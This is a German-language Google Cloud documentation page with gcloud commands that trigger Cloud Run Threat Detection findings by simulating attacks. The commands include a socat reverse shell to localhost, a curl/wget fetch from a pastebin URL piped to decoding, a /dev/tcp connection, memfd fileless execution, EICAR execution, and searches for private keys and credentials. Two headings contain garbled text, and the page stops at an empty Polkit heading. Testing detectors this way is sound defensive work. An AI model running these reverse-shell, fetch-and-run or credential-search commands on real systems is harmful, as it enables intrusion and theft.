Auf dieser Seite wird erläutert, wie Sie prüfen können, ob Cloud Run Threat Detection funktioniert, indem Sie Detektoren auslösen und auf Ergebnisse prüfen. Cloud Run Threat Detection ist ein integrierter Dienst von Security Command Center.
Hinweis
Wenn Sie potenzielle Bedrohungen für Ihre Cloud Run-Dienste und -Jobs erkennen möchten, muss der Dienst Cloud Run Threat Detection aktiviert sein in Security Command Center. Einige Detektoren sind standardmäßig deaktiviert. Wenn Sie diese Detektoren testen möchten, müssen Sie sie zuerst aktivieren.
Umgebungsvariablen festlegen
Zum Testen von Detektoren verwenden Sie die Google Cloud console und Cloud Shell. Sie können Umgebungsvariablen in Cloud Shell festlegen, um die Ausführung von Befehlen zu vereinfachen. Diese Variablen werden zum Testen aller Detektoren verwendet.
Rufen Sie die Google Cloud Console auf.
Wählen Sie das Projekt aus, das den Cloud Run-Job enthält, den Sie zum Testen verwenden möchten.
Klicken Sie auf Cloud Shell aktivieren.
Legen Sie in Cloud Shell die Umgebungsvariablen fest:
Legen Sie das Projekt und die Region fest, in denen Sie Testjobs erstellen.
export PROJECT=PROJECT_ID export REGION=REGION
Nachdem Sie die Umgebungsvariablen festgelegt haben, können Sie mit der Anleitung zum Testen von Detektoren fortfahren.
Command and Control: Steganographie-Tool erkannt
Wenn Sie ein Command and Control: Steganography Tool Detected (Vorschau)
Ergebnis auslösen möchten, führen Sie eine Binärdatei mit Funktionen zur Dateimanipulation aus, die mit
Steganographie-Tools in einem Container übereinstimmen. In diesem Beispiel wird /bin/ls kopiert und in steghide umbenannt.
Erstellen und führen Sie den Cloud Run-Job aus:
JOB_NAME="crtd-test-steganography-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/steghide; sleep 60; /tmp/steghide; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Bei diesem Testverfahren wird ein Command and Control: Steganography Tool
Detected Ergebnis erstellt.
Zugriff auf Anmeldedaten: Find Google Cloud Credentials
Wenn Sie ein Ergebnis des Typs Credential Access: Find Google Cloud Credentials auslösen möchten,
führen Sie eine Binärdatei aus, mit der Dateiinhalte in einem
Container gesucht werden können. In diesem Beispiel wird /bin/ls kopiert, in grep umbenannt und mit verdächtigen Argumenten ausgeführt.
Erstellen und führen Sie den Cloud Run-Job aus:
JOB_NAME="crtd-test-find-creds-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/grep; sleep 60; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Bei diesem Testverfahren wird ein Credential Access: Find Google Cloud Credentials
Ergebnis erstellt.
Zugriff auf Anmeldedaten: Ausspähung von GPG-Schlüsseln
Wenn Sie ein Ergebnis des Typs Credential Access: GPG Key Reconnaissance auslösen möchten, führen Sie ein Suchtool mit verdächtigen Argumenten aus.
Erstellen und führen Sie den Cloud Run-Job aus:
JOB_NAME="crtd-test-gpg-key-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find secring.gpg; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Bei diesem Testverfahren wird ein Ergebnis des Typs Credential Access: GPG Key Reconnaissance erstellt.
Zugriff auf Anmeldedaten: Suche nach privaten Schlüsseln oder Passwörtern
Wenn Sie ein Ergebnis des Typs Credential Access: Search Private Keys or Passwords auslösen möchten, führen Sie ein Suchtool mit verdächtigen Argumenten aus.
Erstellen und führen Sie den Cloud Run-Job aus:
JOB_NAME="crtd-test-search-keys-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find id_rsa; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Bei diesem Testverfahren wird ein Credential Access: Search Private Keys or
Passwords Ergebnis erstellt.
Defense Evasion: Befehlszeile für Base64 ELF-Datei
Wenn Sie ein Ergebnis des Typs Defense Evasion: Base64 ELF File Command Line auslösen möchten, führen Sie
base64 mit codierten ELF Header-Argumenten aus.
Erstellen und führen Sie den Cloud Run-Job aus:
JOB_NAME="crtd-test-base64-elf-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; base64 -d f0VMRgIB; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Bei diesem Testverfahren sollten zwei Ergebnisse des Typs Defense Evasion: Base64 ELF File Command Line erstellt werden.
Defense Evasion: Base64-codiertes Python-Script ausgeführt
Wenn Sie ein Ergebnis des Typs Defense Evasion: Base64 Encoded Python Script Executed auslösen möchten, führen Sie echo mit einem codierten Python-Befehl aus.
Erstellen und führen Sie den Cloud Run-Job aus:
JOB_NAME="crtd-test-base64-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; base64 aW1wb3J0IH; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Bei diesem Testverfahren wird ein Ergebnis des Typs Defense Evasion: Base64 Encoded Python Script Executed erstellt.
Defense Evasion: Base64-codiertes Shell-Script ausgeführt
Wenn Sie ein Ergebnis des Typs Defense Evasion: Base64 Encoded Shell Script Executed auslösen möchten, führen Sie echo mit einem codierten Shell-Befehl aus.
Erstellen und führen Sie den Cloud Run-Job aus:
JOB_NAME="crtd-test-base64-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; base64 IyEvYmluL3NoC; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Bei diesem Testverfahren wird ein Ergebnis des Typs Defense Evasion: Base64 Encoded Shell Script Executed erstellt.
Defense Evasion: Compiler-Tool für Code im Container gestartet
Wenn Sie ein Ergebnis des Typs Defense Evasion: Launch Code Compiler Tool In Container
(Vorschau) auslösen möchten, führen Sie ein Compiler-Tool aus.
Erstellen und führen Sie den Cloud Run-Job aus:
JOB_NAME="crtd-test-launch-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/gcc10; sleep 60; /tmp/gcc10 -o /tmp/gcc10.o; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Bei diesem Testverfahren wird ein Defense Evasion: Launch Code Compiler Tool
In Container Ergebnis erstellt.
Ausführung: Hinzugefügtes schädliches Binärprogramm ausgeführt
Wenn Sie ein Ergebnis des Typs „Ausführung: Hinzugefügtes schädliches Binärprogramm ausgeführt“ auslösen möchten, fügen Sie Ihrem Container eine schädliche Binärdatei (EICAR) hinzu und führen Sie sie aus.
Erstellen und führen Sie den Cloud Run-Job aus:
JOB_NAME="crtd-test-added-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; sleep 60; /tmp/test_mal_file; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Bei diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Hinzugefügtes schädliches Binärprogramm ausgeführt“ erstellt.
Ausführung: Hinzugefügte schädliche Bibliothek geladen
Wenn Sie ein Ergebnis des Typs „Ausführung: Hinzugefügte schädliche Bibliothek geladen“ auslösen möchten, fügen Sie
Ihrem Container eine schädliche Bibliothek hinzu und laden Sie sie. In diesem Beispiel wird die Datei /tmp/test_mal_lib mit einer simulierten schädlichen Bibliothek aktualisiert und dann mit mmap geladen. Das Laden einer Bibliothek aus einer vorhandenen Datei ist unerwartet, da die Datei nicht im ursprünglichen Container-Image enthalten war und die Bibliothek eine EICARTestdatei ist, die von Threat Intelligence als schädlich eingestuft wird.
Erstellen und führen Sie den Cloud Run-Job aus:
JOB_NAME="crtd-test-add-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /tmp/test_mal_lib
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
int fd = open(argv[1], O_RDONLY);
if (fd == -1) return 1;
struct stat sb;
if (fstat(fd, &sb) == -1) return 1;
void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
if (addr == MAP_FAILED) return 1;
write(1, addr, sb.st_size);
munmap(addr, sb.st_size);
close(fd);
return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /tmp/test_mal_lib
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Bei diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Hinzugefügte schädliche Bibliothek geladen“ erstellt.
Ausführung: Container-Escape
Wenn Sie ein Ergebnis des Typs „Ausführung: Container-Escape“ auslösen möchten, führen Sie ein Tool aus, das das Verhalten eines Container-Escape simuliert.
Erstellen und führen Sie den Cloud Run-Job aus:
JOB_NAME="crtd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/botb-linux-amd64; sleep 60; /tmp/botb-linux-amd64 -autopwn; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Bei diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Container-Escape“ erstellt.
Ausführung: Dateilose Ausführung in /memfd:
Wenn Sie ein Ergebnis des Typs Execution: Fileless Execution in /memfd: auslösen möchten,
führen Sie einen Prozess aus dem /memfd: In-Memory-Dateisystem mit Python aus.
Erstellen und führen Sie den Cloud Run-Job aus:
JOB_NAME="crtd-test-fileless-memfd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
PYTHON_CODE=$(cat <<EOF
import os,sys
f = open('/bin/ls','rb')
execdata = f.read()
f.close()
fd = os.memfd_create('', 0)
fname = '/proc/self/fd/{}'.format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ['/bin']
os.execve(fname, args, os.environ)
EOF
)
B64_PAYLOAD=$(echo "$PYTHON_CODE" | base64 -w 0)
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image python:latest \
--command=bash \
--args="-c","sleep 60; echo $B64_PAYLOAD | base64 -d | python3 ; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Bei diesem Testverfahren wird ein Ergebnis des Typs Execution: Fileless Execution in /memfd: erstellt.
Ausführung: Kubernetes Attack Tool Execution
Wenn Sie ein Ergebnis des Typs „Ausführung: Kubernetes Attack Tool Execution“ auslösen möchten, führen Sie ein Programm aus, das mit einem bekannten Angriffstool übereinstimmt.
Erstellen und führen Sie den Cloud Run-Job aus:
JOB_NAME="crtd-test-k8s-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/amicontained; sleep 60; /tmp/amicontained; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Bei diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Kubernetes Attack Tool Execution“ erstellt.
Ausführung: Ausführung eines lokalen Ausspähtools
Wenn Sie ein Ergebnis des Typs Execution: Local Reconnaissance Tool Execution auslösen möchten, führen Sie ein Programm aus, das mit einem Ausspähtool übereinstimmt.
Erstellen und führen Sie den Cloud Run-Job aus:
JOB_NAME="crtd-test-local-recon-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/linenum.sh; sleep 60; /tmp/linenum.sh; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Bei diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Ausführung eines lokalen Ausspähtools“ erstellt.
Ausführung: Geändertes schädliches Binärprogramm ausgeführt
Wenn Sie ein Ergebnis des Typs „Ausführung: Geändertes schädliches Binärprogramm ausgeführt“ auslösen möchten, ändern Sie eine Binärdatei so, dass sie mit einer bekannten schädlichen Signatur (EICAR) übereinstimmt.
Erstellen und führen Sie den Cloud Run-Job aus:
JOB_NAME="crtd-test-mod-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; sleep 60; /etc/issue; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Bei diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Geändertes schädliches Binärprogramm ausgeführt“ erstellt.
Ausführung: Geänderte schädliche Bibliothek geladen
Wenn Sie ein Ergebnis des Typs „Ausführung: Geänderte schädliche Bibliothek geladen“ auslösen möchten, ändern Sie eine vorhandene Datei mit einer schädlichen Bibliothek in Ihrem Container und laden Sie sie. In diesem Beispiel wird die Datei /etc/issue mit einer simulierten schädlichen Bibliothek aktualisiert und dann mit mmap geladen. Das Laden einer Bibliothek aus einer vorhandenen Datei ist unerwartet, da die Bibliothek eine EICARTestdatei ist, die von Threat Intelligence als schädlich eingestuft wird.
Erstellen und führen Sie den Cloud Run-Job aus:
JOB_NAME="crtd-test-mod-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /etc/issue
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
int fd = open(argv[1], O_RDONLY);
if (fd == -1) return 1;
struct stat sb;
if (fstat(fd, &sb) == -1) return 1;
void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
if (addr == MAP_FAILED) return 1;
write(1, addr, sb.st_size);
munmap(addr, sb.st_size);
close(fd);
return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /etc/issue
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Bei diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Geänderte schädliche Bibliothek geladen“ erstellt.
Ausführung: Netcat-Remote-Codeausführung im Container
Wenn Sie ein Ereignis des Typs Execution: Netcat Remote Code Execution In Container auslösen möchten, führen Sie Netcat mit verdächtigen Argumenten aus.
Erstellen und führen Sie den Cloud Run-Job aus:
JOB_NAME="crtd-test-netcat-rce-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","cp /bin/ls /tmp/nc; sleep 60; /tmp/nc -e; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Bei diesem Testverfahren wird ein Execution: Netcat Remote Code Execution In
Container Ergebnis erstellt.
Ausführung: Mögliche Ausführung beliebiger Befehle über CUPS (CVE-2024-47076)
Wenn Sie ein Ergebnis des Typs Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076) auslösen möchten, führen Sie ein Skript aus, das den Exploit simuliert.
Erstellen und führen Sie den Cloud Run-Job aus:
JOB_NAME="crtd-test-cups-cve-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Bei diesem Testverfahren wird ein Ergebnis des Typs Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076) erstellt.
Ausführung: Mögliche Remote-Befehlsausführung erkannt
Wenn Sie ein Ergebnis des Ty0/}
(Vorschau) auslösen möchten, führen Sie einen Befehl aus, der eine Remote-Verbindung versucht.Execution: Possible Remote Command Execution Detected
Erstellen und führen Sie den Cloud Run-Job aus:
JOB_NAME="crtd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/ls /tmp/touch; echo \"Hello\" | /tmp/touch >& /dev/tcp/8.8.8.8/53; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Bei diesem Testverfahren wird ein Execution: Possible Remote Command
Execution Detected Ergebnis erstellt.
Ausführung: Programmausführung mit nicht zulässiger HTTP-Proxy-Umgebung
Wenn Sie ein Ergebnis des Typs Execution: Program Run with Disallowed HTTP Proxy Env auslösen möchten, führen Sie ein Programm mit einer fehlerhaften Proxy-Umgebungsvariable aus.
Erstellen und führen Sie den Cloud Run-Job aus:
JOB_NAME="crtd-test-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Bei diesem Testverfahren wird ein Execution: Program Run with Disallowed
HTTP Proxy Env Ergebnis erstellt.
Ausführung: Socat-Reverse-Shell erkannt
Wenn Sie ein Ergebnis des Typs Execution: Socat Reverse Shell Detected auslösen möchten, stellen Sie mit dem Dienstprogramm socat eine Reverse-Shell her.
Erstellen und führen Sie den Cloud Run-Job aus:
JOB_NAME="crtd-test-socat-rev-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
RAW_SOCAT="timeout 10s /usr/bin/socat TCP-LISTEN:4444,reuseaddr,fork STDOUT & sleep 5 && timeout 5s /usr/bin/socat TCP:127.0.0.1:4444 EXEC:/bin/bash,pty,stderr || true"
B64_SOCAT=$(echo -n "$RAW_SOCAT" | base64 | tr -d '\n\r ')
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args="-c","sleep 60; apt-get update -qq && apt-get install socat -y -qq && echo $B64_SOCAT | base64 -d | bash" \
--execute-now \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Bei diesem Testverfahren wird ein Ergebnis des Typs Execution: Socat Reverse Shell Detected erstellt.
Ausführung: Verdächtiges freigegebenes OpenSSL-Objekt geladen
Wenn Sie ein Ergebnis des Typs Execution: Suspicious OpenSSL Shared Object Loaded auslösen möchten, führen Sie openssl mit einer verdächtigen Bibliothek aus.
Erstellen und führen Sie den Cloud Run-Job aus:
JOB_NAME="crtd-test-openssl-so-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Bei diesem Testverfahren wird ein Ergebnis des Typs Execution: Suspicious OpenSSL Shared Object Loaded erstellt.
Exfiltration: Remote-Tools zum Kopieren von Dateien im Container gestartet
Wenn Sie ein Ergebnis des Typs Exfiltration: Launch Remote File Copy Tools In Container auslösen möchten, führen Sie ein Tool zum Kopieren von Dateien per Remote-Verbindung aus.
Erstellen und führen Sie den Cloud Run-Job aus:
JOB_NAME="crtd-test-remote-copy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/rsync; /tmp/rsync; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Bei diesem Testverfahren wird ein Exfiltration: Launch Remote File Copy Tools
In Container Ergebnis erstellt.
Auswirkung: Erkennung schädlicher Cmdline-Dateien
Wenn Sie ein Ergebnis des Ty0/} (Vorschau) auslösen möchten,
führen Sie einen verdächtigen Befehlsnamen (IPFS) aus.Impact: Detect Malicious Cmdlines
Erstellen und führen Sie den Cloud Run-Job aus:
JOB_NAME="crtd-test-malicious-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/ipfs; /tmp/ipfs; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Bei diesem Testverfahren wird ein Ergebnis des Typs Impact: Detect Malicious Cmdlines erstellt.
Auswirkung: Bulk-Entfernung von Daten von Laufwerk
Wenn Sie ein Ergebnis des Typs Impact: Remove Bulk Data From Disk auslösen möchten, führen Sie ein Tool wie shred aus.
Erstellen und führen Sie den Cloud Run-Job aus:
JOB_NAME="crtd-test-remove-bulk-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/shred; /tmp/shred; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Bei diesem Testverfahren wird ein Ergebnis des Typs Impact: Remove Bulk Data From Disk erstellt.
Auswirkung: Verdächtige Cryptomining-Aktivität mit Stratum-Protokoll
Wenn Sie ein Impact: Suspicious cryptocurrency mining activity using the Stratum
Protocol Ergebnis auslösen möchten, führen Sie eine Binärdatei mit Argumenten aus, die denen ähneln, die von
Cryptomining-Software verwendet werden, die über das Stratum-Protokoll kommuniziert.
Erstellen und führen Sie den Cloud Run-Job aus:
JOB_NAME="crtd-test-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Bei diesem Testverfahren wird ein Impact: Suspicious cryptocurrency mining activity
using the Stratum Protocol Ergebnis erstellt.
Schädliches Script ausgeführt
Wenn Sie ein Ergebnis des Typs „Schädliches Script ausgeführt“ auslösen möchten, führen Sie ein Skript aus, das schädliches Verhalten nachahmt.
Erstellen und führen Sie den Cloud Run-Job aus:
JOB_NAME="crtd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; sh -c \"(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d\"; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Bei diesem Testverfahren wird ein Ergebnis des Typs „Schädliches Script ausgeführt“ erstellt.
Schädliche URL beobachtet
Wenn Sie ein Ergebnis des Typs „Schädliche URL beobachtet“ auslösen möchten, führen Sie eine Binärdatei aus und geben Sie eine schädliche URL als Argument an.
Erstellen und führen Sie den Cloud Run-Job aus:
JOB_NAME="crtd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; apt-get update && apt-get install curl -y && curl https://testsafebrowsing.appspot.com/s/malware.html | cat; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Bei diesem Testverfahren wird ein Ergebnis des Typs „Schädliche URL beobachtet“ ausgelöst.
Rechteausweitung: Missbrauch von Sudo zur Rechteausweitung (CVE-2019-14287)
Wenn Sie ein Ergebnis des Typs Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287) auslösen möchten, führen Sie die Binärdatei sudo mit dem Parameter -u#-1 aus.
Erstellen und führen Sie den Cloud Run-Job aus:
JOB_NAME="crtd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Bei diesem Testverfahren wird ein Ergebnis des Typs Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287) erstellt.
Rechteausweitung: Mögliche Rechteausweitung durch Sudo (CVE-2021-3156)
Wenn Sie ein Ergebnis des Typs Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156) auslösen möchten, führen Sie die Binärdatei sudo mit dem Parameter -s und einem Parameter aus, der mit `` endet.
Erstellen und führen Sie den Cloud Run-Job aus:
JOB_NAME="crtd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/ls /tmp/sudo; su $(id -un 1000) -c "/tmp/sudo -s \"123\\\\\"" ; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Bei diesem Testverfahren wird ein Ergebnis des Typs Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156) erstellt.
Rechteausweitung: Sicherheitslücke bei der lokalen Rechteausweitung in Polkit (CVE-2021-4034)
